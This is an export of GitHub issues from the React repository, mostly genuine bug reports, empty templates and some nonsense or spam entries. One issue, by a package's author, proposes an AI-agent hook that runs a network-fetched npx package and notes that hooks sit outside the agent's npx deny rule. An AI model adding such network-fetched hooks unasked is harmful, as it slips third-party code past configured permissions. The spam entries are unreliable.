## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
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Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-27 20:01:07+00:00,2026-04-08 18:26:21+00:00,2,Status: Unconfirmed,11.9342,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4110333747,Bug: Suspense wrapped component does not update correctly,"When a server component is wrapped with Suspense tag, `revalidatePath` does not work correctly.
Only when `npm run build && npm run start`

React version: 19.2.4
Next.js version: 16.2.0

## Steps To Reproduce

1. Wrap a Server component (list of item) with Suspense tag
2. `npm run build && npm run start`
3. Delete an item with the UI button (will delete and revalidatePath)
4. See not UI update after the request / response

Link to code example:

https://github.com/vercel/next-learn/blob/main/dashboard/final-example/app/dashboard/invoices/page.tsx

I tried to reproduce the bug on CodeSandbox, but i think the cache / revalidatePath does not work as my own machine. Sorry.

The code is maybe not the best, i did the Acme course on NextJS 16.

If there is some better pratice, i will be glad to learn them. (except the interaction with Data, i will do an API for that i think. Server action will retrieve some data from an external API)

```tsx
// app/dashboard/invoices/page.tsx
import Pagination from '@/app/ui/invoices/pagination';
import Search from '@/app/ui/search';
import Table from '@/app/ui/invoices/table';
import { CreateInvoice } from '@/app/ui/invoices/buttons';
import { lusitana } from '@/app/ui/fonts';
import { InvoicesTableSkeleton } from '@/app/ui/skeletons';
import { Suspense } from 'react';
import { fetchInvoicesPages } from '@/app/lib/data';

export default async function Page(props: { searchParams?: Promise<{ query?: string; page?: string }> }) {
    const searchParam... [TRUNCATED]",Status: Unconfirmed,2026-03-20 22:06:17+00:00,2026-04-19 23:37:41+00:00,2,Status: Unconfirmed,30.0635,suspense wrapped component does not update correctly when a server component is wrapped with suspense tag does not work correctly only when react version next js version wrap a server component list of item with suspense tag delete an item with the ui button will delete and revalidatepath see not ui update after the request response link to code example i tried to reproduce the bug on codesandbox but i think the cache revalidatepath does not work as my own machine sorry the code is maybe not the best i did the acme course on nextjs if there is some better pratice i will be glad to learn them except the interaction with data i will do an api for that i think server action will retrieve some data from an external api tsx app dashboard invoices page tsx import pagination from app ui invoices pagination import search from app ui search import table from app ui invoices table import createinvoice from app ui invoices buttons import lusitana from app ui fonts import invoicestableskeleton from app ui skeletons import suspense from react import fetchinvoicespages from app lib data export default async function page props searchparams promise const searchparam truncated,bug,0.5856
facebook/react,4103429001,Add block-no-verify PreToolUse hook to .claude/settings.json,"## Feature: Add block-no-verify PreToolUse hook to .claude/settings.json

React's `.claude/settings.json` already has a `SessionStart` hook for instructions and a well-configured permissions list. There's one enforcement gap worth closing: the git hook-bypass flag.

When Claude Code runs `git commit` or `git push` with the hook-bypass flag, it silently skips pre-commit hooks, commit-msg validation, and pre-push test suites — regardless of any permissions or quality gates configured elsewhere.

### Proposed fix

Add `block-no-verify@1.1.2` ([github.com/tupe12334/block-no-verify](https://github.com/tupe12334/block-no-verify)) as a `PreToolUse` Bash hook alongside the existing `SessionStart` hook:

```json
""PreToolUse"": [
  {
    ""matcher"": ""Bash"",
    ""hooks"": [{ ""type"": ""command"", ""command"": ""npx block-no-verify@1.1.2"" }]
  }
]
```

**Note:** The existing config denies `Bash(npx:*)` — this applies to what Claude Code can run through its Bash tool, but hooks run as system-level shell commands outside that permission scope. So the hook will run correctly.

The package reads `tool_input.command` from the Claude Code hook stdin, detects the hook-bypass flag across all git subcommands, and exits 2 to block. All existing hooks and permissions are preserved unchanged.

---

_Disclosure: I am the author and maintainer of `block-no-verify`._
",,2026-03-19 18:23:39+00:00,2026-03-30 23:33:37+00:00,0,nan,11.2153,add block no verify pretooluse hook to claude settings json feature add block no verify pretooluse hook to claude settings json react s already has a hook for instructions and a well configured permissions list there s one enforcement gap worth closing the git hook bypass flag when claude code runs or with the hook bypass flag it silently skips pre commit hooks commit msg validation and pre push test suites regardless of any permissions or quality gates configured elsewhere proposed fix add github com tupe block no verify as a bash hook alongside the existing hook note the existing config denies this applies to what claude code can run through its bash tool but hooks run as system level shell commands outside that permission scope so the hook will run correctly the package reads from the claude code hook stdin detects the hook bypass flag across all git subcommands and exits to block all existing hooks and permissions are preserved unchanged disclosure i am the author and maintainer of,others,-0.8151
facebook/react,4100677214,Bug: react-hooks/set-state-in-effect fails to flag violation if prop has a `NewExpression` default value,"The react-hooks/set-state-in-effect rule fails to flag a violation when a component's destructured prop has a default value that is a NewExpression (new Foo()).

react version: 18.3.1
eslint-plugin-react-hooks: 7.0.1

## Steps To Reproduce

```tsx
// ❌ Should flag — but doesn't
function MyComponent({ value = new Number() }) {
  const [x, setX] = useState(false)

  useEffect(() => {
    setX(true)
  }, [x])

  return null
}

// ✅ Correctly flags — literal default
function MyComponent({ value = Number() }) {
  const [x, setX] = useState(false)

  useEffect(() => {
    setX(true)
  }, [x])

  return null
}
```",Status: Unconfirmed,2026-03-19 10:11:50+00:00,2026-04-08 18:52:51+00:00,1,Status: Unconfirmed,20.3618,react hooks set state in effect fails to flag violation if prop has a default value the react hooks set state in effect rule fails to flag a violation when a component s destructured prop has a default value that is a newexpression new foo react version eslint plugin react hooks,bug,-0.802
facebook/react,4080560425,Unexpected hydration mismatch on production build,,,2026-03-16 06:41:28+00:00,2026-03-16 17:15:26+00:00,0,nan,0.4403,unexpected hydration mismatch on production build,others,0.0
facebook/react,4077956960,Bug: Não esta carregando a pagina,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
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Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-15 08:52:48+00:00,2026-03-16 17:15:21+00:00,0,Status: Unconfirmed,1.349,n o esta carregando a pagina of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4076013381,"🧪 <AutoGrader> Infinite Loop on ""Divide by Zero"" Submission ♾️","### Description
The `<AutoGrader />` component enters an unrecoverable infinite loop when a student submits a Python script containing a naked `x / 0` operation. Instead of returning a `RuntimeError`, the grading engine attempts to ""calculate the void,"" resulting in 100% CPU usage on the evaluation node. 

### 🔍 Observed Issue
* **The Loop:** The progress spinner spins so fast it creates a visual ""strobe"" effect before the browser tab freezes. 😵‍
* **Resource Leak:** Memory consumption climbs steadily until the OS terminates the process. 📈
* **Feedback:** The ""Hints"" panel suggests the student ""Wait for the heat death of the universe"" to see their results. 🌌

---

### ✨ Expected Behavior
* **Validation:** The static analyzer should catch division by zero before execution.
* **Timeout:** The sandbox should terminate any process exceeding 500ms. ⏱️
* **Graceful Failure:** Display a ""Division by zero is a crime against math"" error message. 👮

---

### 🛠️ Reproduction Steps
1. Navigate to the **Grade 12 Physics** portal.
2. Upload `gravity_calc.py` with `g = 9.8 / (1 - 1)`.
3. Click ""Submit"" and listen to your laptop fans reach terminal velocity. 🚁

---

## Subject: 🏹 <QuestLog> NPC ""Quest-Giver"" Identity Crisis 🎭

---

### Description
In the current build of the **Medieval RPG Engine**, NPCs (Non-Player Characters) are experiencing a data-sync issue where they swap dialogue trees mid-conversation. This leads to immersion-breaking scenarios where a ""Village Elder"" starts speaking... [TRUNCATED]",Status: Unconfirmed,2026-03-14 15:18:22+00:00,2026-03-17 10:14:30+00:00,2,Status: Unconfirmed,2.789,infinite loop on divide by zero submission description the component enters an unrecoverable infinite loop when a student submits a python script containing a naked operation instead of returning a the grading engine attempts to calculate the void resulting in cpu usage on the evaluation node observed issue the loop the progress spinner spins so fast it creates a visual strobe effect before the browser tab freezes resource leak memory consumption climbs steadily until the os terminates the process feedback the hints panel suggests the student wait for the heat death of the universe to see their results validation the static analyzer should catch division by zero before execution timeout the sandbox should terminate any process exceeding ms graceful failure display a division by zero is a crime against math error message reproduction steps navigate to the grade physics portal upload with click submit and listen to your laptop fans reach terminal velocity subject npc quest giver identity crisis description in the current build of the medieval rpg engine npcs non player characters are experiencing a data sync issue where they swap dialogue trees mid conversation this leads to immersion breaking scenarios where a village elder starts speaking truncated,others,-0.7763
facebook/react,4074310688,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-14 02:02:15+00:00,2026-03-14 02:07:32+00:00,0,Status: Unconfirmed,0.0037,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4074310227,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-14 02:02:04+00:00,2026-03-14 02:07:39+00:00,0,Status: Unconfirmed,0.0039,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4055723080,"[Fizz] Bug: Nested suspense boundary with suspended fallback: ""A previously unvisited boundary must have exactly one root segment""","There's a bug in a nested Suspense where the inner fallback itself suspends (via use() on a delay promise), and the inner content resolves before the fallback. Fizz mis-tracks boundary segments during the transition from ""pending with suspended fallback"" to ""completed.""

This is a useful pattern for when you want to create a `DeferredSuspense` boundary that blocks for a pre-set amount of time and then flushes. If the period passes and the children have not un-suspended, we flush the alternate boundary to the client.

I am aware this a cursed use of suspense, but it should be valid imo.


React version: 19.2.4

## Steps To Reproduce

1. `$ node nested-suspense-bug-repro.mjs`

Link to code example:

https://gist.github.com/switz/45d7c9f49953e11de7eec9d737841e2e#file-nested-suspense-bug-repro-mjs

## The current behavior

```
$ node nested-suspense-bug-repro.mjs
onError: A previously unvisited boundary must have exactly one root segment. This is a bug in React.
Bug triggered: A previously unvisited boundary must have exactly one root segment. This is a bug in React.
```

## The expected behavior

 When content resolves FAST (before ms):
  - No fallback is ever shown — content renders directly

  When content resolves SLOW (after ms):
  - For the first ms milliseconds, nothing visible changes (outer Suspense holds)
  - After ms, the fallback appears (inner Suspense fallback delay resolves, outer Suspense can now show its
   content which includes the pending inner boundary with i... [TRUNCATED]",Status: Unconfirmed,2026-03-11 04:33:59+00:00,2026-03-11 12:18:28+00:00,6,Status: Unconfirmed,0.3226,fizz bug nested suspense boundary with suspended fallback a previously unvisited boundary must have exactly one root segment there s a bug in a nested suspense where the inner fallback itself suspends via use on a delay promise and the inner content resolves before the fallback fizz mis tracks boundary segments during the transition from pending with suspended fallback to completed this is a useful pattern for when you want to create a boundary that blocks for a pre set amount of time and then flushes if the period passes and the children have not un suspended we flush the alternate boundary to the client i am aware this a cursed use of suspense but it should be valid imo react version link to code example the current behavior the when content resolves fast before ms no fallback is ever shown content renders directly when content resolves slow after ms for the first ms milliseconds nothing visible changes outer suspense holds after ms the fallback appears inner suspense fallback delay resolves outer suspense can now show its content which includes the pending inner boundary with i truncated,bug,-0.7351
facebook/react,4055134856,Bug: why not Signal,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.why not Signal
2.why not Signal

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: why not Signal

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
why not Signal

## The expected behavior
why not Signal",Status: Unconfirmed,2026-03-11 01:34:12+00:00,2026-03-11 04:55:32+00:00,1,Status: Unconfirmed,0.1398,why not signal of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version why not signal why not signal your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example why not signal please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior why not signal the why not signal,bug,-0.7003
facebook/react,4054267193,Bug: False postive react-hooks/refs,"Since React 19 devs can pass `ref` directly as a prop (forwardref is not needed anymore) , but now `eslint-plugin-react-hooks` is complaining about valid code 


<img width=""1156"" height=""658"" alt=""Image"" src=""https://github.com/user-attachments/assets/19b68b28-c546-4066-8de1-54d663cda135"" />

---

React version: 19.1.1
eslint-plugin-react-hooks: 7.0.1

## Steps To Reproduce

```tsx
import type { Ref } from 'react';
import {
  StyleProp,
  TextInput as RNTextInput,
  TextInputProps,
  TextStyle,
} from 'react-native';

import { TextInput } from '../TextInput';

function TextArea(
  props: TextInputProps & {
    ref?: Ref<RNTextInput | null>;
    style?: StyleProp<TextStyle>;
  },
) {
  return (
    <TextInput
      ref={props.ref} // Eslint error: react-hooks/refs
      type=""body""
    />
  );
}

export { TextArea };

```

## The current behavior
Error 
`ref={props.ref} // Eslint error: react-hooks/refs`

## The expected behavior

No error, valid react 19 code 
",Status: Unconfirmed,2026-03-10 21:15:20+00:00,2026-05-16 17:28:18+00:00,7,Status: Unconfirmed,66.8423,false postive react hooks refs since react devs can pass directly as a prop forwardref is not needed anymore but now is complaining about valid code react version eslint plugin react hooks the current behavior error the no error valid react code,bug,-0.9186
facebook/react,4047584712,Bug: react-hooks/static-components false positive,"
eslint-plugin-react-hooks: 7.0.1

## Steps To Reproduce

1.Create react app
2. Add this `eslint-plugin-react-hooks` plugin 
3. Lint the next code

```tsx
import { FeatureRemovalBuildTime } from '@xxx/build-time-tools/FeatureRemovalBuildTime';
import { PlatformSwitchBuildTime } from '@xxx/build-time-tools/PlatformSwitchBuildTime';
import { isMyFeature } from '@xxx/config/exporter';
import ErrorMessageMT from './ErrorMessageMT';
import ErrorMessageBase from './ErrorMessageBase';

import type { ErrorMessageProps } from './types';

const ErrorMessage = (props: ErrorMessageProps) => {
  'use memo';

  const ErrorMessageView = PlatformSwitchBuildTime.select({
    anyMT:
      FeatureRemovalBuildTime.isMyFeature && isMyFeature()
        ? ErrorMessageMT
        : ErrorMessageBase,
    default: ErrorMessageBase,
  });

  return <ErrorMessageView {...props} />; // Error: react-hooks/static-components
};

export default ErrorMessage;

```

## The current behavior

Eslint will complain that `ErrorMessageView` was created during the render 

## The expected behavior

But all values inside if check are stable and valid as in this example: https://react.dev/reference/eslint-plugin-react-hooks/lints/static-components#valid
",Status: Unconfirmed,2026-03-09 19:52:41+00:00,2026-05-16 17:28:07+00:00,3,Status: Unconfirmed,67.8996,react hooks static components false positive eslint plugin react hooks create react app add this plugin lint the next code the current behavior eslint will complain that was created during the render the but all values inside if check are stable and valid as in this example,bug,0.8793
facebook/react,4034738936,Closed by author,This issue was opened in error and has been retracted.,,2026-03-06 15:15:45+00:00,2026-03-06 16:01:29+00:00,0,nan,0.0318,closed by author this issue was opened in error and has been retracted,others,-0.4588
facebook/react,4017954987,[DevTools Bug]: confused on prerender pages and resulting in high-cpu usage loop,"### Website or app

example; https://yuri.twintail.org/chrome/prerendering/specrules.html

### Repro steps

Hello, I'm Takashi from Google Chrome team.

I've investigated high-cpu usage issue on prerendering, and noticed that the React Developer Tools seems to be a root cause.
The original report for the chromium project is here; https://crbug.com/478909972

Steps:
1. Install React Developer Tools Extension (from the Chrome Web Store)
2. Visit a page that uses specupationrules
3. Open Chrome's Task manager from ... > More tools >, and see CPU usages
4. Usage for the prerender pages shows higher CPU usages
5. Open DevTools
6. Prerender pages' CPU usages get much higher, and frame of the React Developer Tools spends almost 100%

This needs that the current page is accessible from the Extensions. e.g., they would not have a permission to touch the New Tab Page, and this doesn't happen there.

Also, this happens with Chrome UI triggered pretenders too. So, even if the page doesn't use the speculationrules, the problem could happen when users type something in the Omnibox, and Chrome has confidence on the next navigating page.

I suspect this is because the extension doesn't expect the Chrome's recent MPArch: Multi-Page Architecture, and is confused on multiple page navigations.
Here is a resource for the prerender and link for its impact on the Extension system.
[Prerender pages in Chrome for instant page navigations > Impact on extensions
](https://developer.chrome.com/docs/web-... [TRUNCATED]","Type: Bug,Component: Developer Tools",2026-03-03 17:47:53+00:00,2026-03-04 12:39:19+00:00,7,"Type: Bug,Component: Developer Tools",0.7857,devtools bug confused on prerender pages and resulting in high cpu usage loop website or app example repro steps hello i m takashi from google chrome team i ve investigated high cpu usage issue on prerendering and noticed that the react developer tools seems to be a root cause the original report for the chromium project is here steps install react developer tools extension from the chrome web store visit a page that uses specupationrules open chrome s task manager from more tools and see cpu usages usage for the prerender pages shows higher cpu usages open devtools prerender pages cpu usages get much higher and frame of the react developer tools spends almost this needs that the current page is accessible from the extensions e g they would not have a permission to touch the new tab page and this doesn t happen there also this happens with chrome ui triggered pretenders too so even if the page doesn t use the speculationrules the problem could happen when users type something in the omnibox and chrome has confidence on the next navigating page i suspect this is because the extension doesn t expect the chrome s recent mparch multi page architecture and is confused on multiple page navigations here is a resource for the prerender and link for its impact on the extension system prerender pages in chrome for instant page navigations impact on extensions truncated,bug,-0.7096
facebook/react,4009618705,[Compiler Bug]: react mutithread sync exception,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

react

### Repro steps

1.compiler wrong with math index unmatch.
2.compiler unable to exact to learn to write jvm.gc collect.
3.wrong design pattern of upload code.

### How often does this bug happen?

Every time

### What version of React are you using?

1.11

### What version of React Compiler are you using?

1.01","Type: Bug,Status: Unconfirmed",2026-03-02 06:48:44+00:00,2026-03-02 16:48:23+00:00,0,"Type: Bug,Status: Unconfirmed",0.4164,compiler bug react mutithread sync exception what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react hooks build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro react repro steps compiler wrong with math index unmatch compiler unable to exact to learn to write jvm gc collect wrong design pattern of upload code how often does this bug happen every time what version of react are you using what version of react compiler are you using,bug,-0.8625
facebook/react,4009610350,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

yangliwen_peter

### Repro steps

1.Trigger dead lock.
2.loop until Long.MAX_VALUE overflow.
3.thread start from zero of array.

### How often does this bug happen?

Every time

### What version of React are you using?

2.10

### What version of React Compiler are you using?

2.00","Type: Bug,Status: Unconfirmed",2026-03-02 06:46:06+00:00,2026-03-02 16:48:11+00:00,0,"Type: Bug,Status: Unconfirmed",0.4181,compiler bug what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react hooks build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro yangliwen peter repro steps trigger dead lock loop until long max value overflow thread start from zero of array how often does this bug happen every time what version of react are you using what version of react compiler are you using,bug,-0.743
facebook/react,4009603204,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2026-03-02 06:44:00+00:00,2026-06-09 23:31:02+00:00,8,"Status: Unconfirmed,Resolution: Stale",99.6993,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4008767022,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-02 01:14:25+00:00,2026-03-02 04:24:34+00:00,2,Status: Unconfirmed,0.132,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4000550727,[DevTools Bug] Cannot read properties of null (reading 'ownerDocument'),"### Website or app

material-library.com

### Repro steps

1. open the site
2. clicked on the view all button for categories
3. scrolled the page and stopped recording
4. clicked timeline option

### How often does this bug happen?

Only once

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

7.0.1-3cde211b0c

### Error message (automated)

Cannot read properties of null (reading 'ownerDocument')

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:919551
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:919824
    at commitHookEffectListMount (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:129924)
    at commitLayoutEffectOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:142040)
    at recursivelyTraverseLayoutEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:157699)
    at commitLayoutEffectOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:141997)
    at recursivelyTraverseLayoutEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:157699)
    at commitLayoutEffectOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:141997)
    at recursivelyTraverseLayoutEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:157699)
    at commitLayoutEffectOnFiber (chrome-extension://fmkadmap... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-02-27 11:23:36+00:00,2026-03-05 15:52:25+00:00,0,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",6.1867,devtools bug cannot read properties of null reading ownerdocument website or app material library com repro steps open the site clicked on the view all button for categories scrolled the page and stopped recording clicked timeline option how often does this bug happen only once devtools package automated react devtools extensions devtools version automated cde b c error message automated cannot read properties of null reading ownerdocument error call stack automated text at chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commithookeffectlistmount chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commitlayouteffectonfiber chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at recursivelytraverselayouteffects chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commitlayouteffectonfiber chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at recursivelytraverselayouteffects chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commitlayouteffectonfiber chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at recursivelytraverselayouteffects chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commitlayouteffectonfiber chrome extension fmkadmap truncated,bug,-0.9169
facebook/react,3998083815,Bug: React does not recognize the `maskType` prop on a DOM element.,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: `19.2.4`

## Steps To Reproduce

1. use the `maskType` prop on an svg
2. notice that the rendered mask element does not have the `mask-type` property set
and react prints a warning.


Related: https://github.com/facebook/react/issues/22850

https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/mask-type

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://codesandbox.io/p/sandbox/charming-meninsky-9rc5ln

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

react renders `<mask maskType=""...""></mask>`, and prints a warning

## The expected behavior

react renders `<mask mask-type=""...""></mask>`

",Status: Unconfirmed,2026-02-26 22:31:47+00:00,2026-02-27 12:41:23+00:00,0,Status: Unconfirmed,0.59,react does not recognize the prop on a dom element of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version use the prop on an svg notice that the rendered mask element does not have the property set and react prints a warning related your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior react renders and prints a warning the react renders,bug,-0.8625
facebook/react,3980978415,"Bug: `<link rel=""preload"" as=""font"" ...>` in RSC gets duplicated in SSR html","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: since 19.2.0 

## Steps To Reproduce

Created a PR with a test case as a reproduction in https://github.com/facebook/react/pull/35890

Initially reported on Waku https://github.com/wakujs/waku/issues/1964#issuecomment-3948147703. It doesn't reproduce on 19.1. It reproduces from 19.2 and latest canary.

## The current behavior

`<link rel=""preload"" as=""font"" ... />` appears twice in SSR html


## The expected behavior

`<link rel=""preload"" as=""font"" .../>` appears once in SSR html
